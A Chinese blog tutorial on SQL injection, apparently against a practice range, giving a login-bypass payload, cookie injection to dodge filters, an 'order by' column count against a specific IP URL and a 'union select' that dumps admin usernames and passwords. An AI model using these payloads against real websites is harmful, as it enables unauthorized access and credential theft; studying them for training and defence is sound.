【Web安全】漏洞之王-Sql注入原理与危害解析

1 注入原理

这里不再赘述了,无非就是自己写sql语句植入到对方数据库。
我们以登录为例,用户登录时后台会执行SQL语句如下:

select * from auth_user where user_name = '${paramter1}' and password =  '${paramter2}'

这时如果我们前台传入到后台的参数是以下情况时:

 ${paramter1}=admin
 
 ${paramter2}=' or true  or '

那么后台就会执行

 select * from auth_user where user_name='admin' password =' ' or true  or ' ' ;

原本不能查出记录(通过验证)的情况下,通过SQL的注入达到了黑客的目的。

以上为SQL注入原理,通过SQL注入可以达到,DB的安装目录、DB管理员密码查看等等目的,所以我们在写代码时要养成良好习惯。

2 如何获取管理员用户名&密码

!看这篇博客就好 !

3 关于注入方式的探索

3.1 前言

首先我们可以使用 and 1=2 -1=-1 或修改id等方式找到注入点,但是这里我们不采用这种方式,因为对于一般的网站,它通常会被拦截。
这里我们采用order by语句 和 联合查询直接获取用户名和密码(md5加密的)。

3.2 演示

这是靶场
在这里插入图片描述
我们定位到**?id=**这个位置,当然也可以关注注册登录等可能和数据库有联系的地方。

发现你用 and1=1是会被拦截的 此时你可以通过burp获取他的cookie的方式 因为有些网站cookie可能也是一个注入点 假如拦截到了cookie 然后我们f12或者插件把cookie修改成id=170发现一样能转到对应界面 那么你就可以通过修改cookie进行注入 但是别忘了取消哦~

3.3 用order by找到字段数

http://59.63.200.79:8004/shownews.asp?id=170%20order%20by%2010

发现值为10的时候正常
在这里插入图片描述
值为11的时候数据库出错 那么确定这个id就是注入点的同时,也能确定表里有10个字段。

3.4 联合查询

假设我们已经知道有admin这个表,可以sqlmap去查一下哦。
上个靶子 发现他会拦截查询语句 换一个
添加链接描述
用上述方法查到 字段为2

 union select  1,2 from admin

这样就可以的到返回点

然后修改1或者2位字段名 就可以在返回点位置发现用户名和密码了。

是这样滴。

+------------+----------+
| password   | username |
+------------+----------+
| hellohack  | admin    |
| zkaqbanban | ppt领取微信  |
+------------+----------+
发布了877 篇原创文章 · 获赞 237 · 访问量 9万+

猜你喜欢

转载自blog.csdn.net/weixin_43838785/article/details/104972275
今日推荐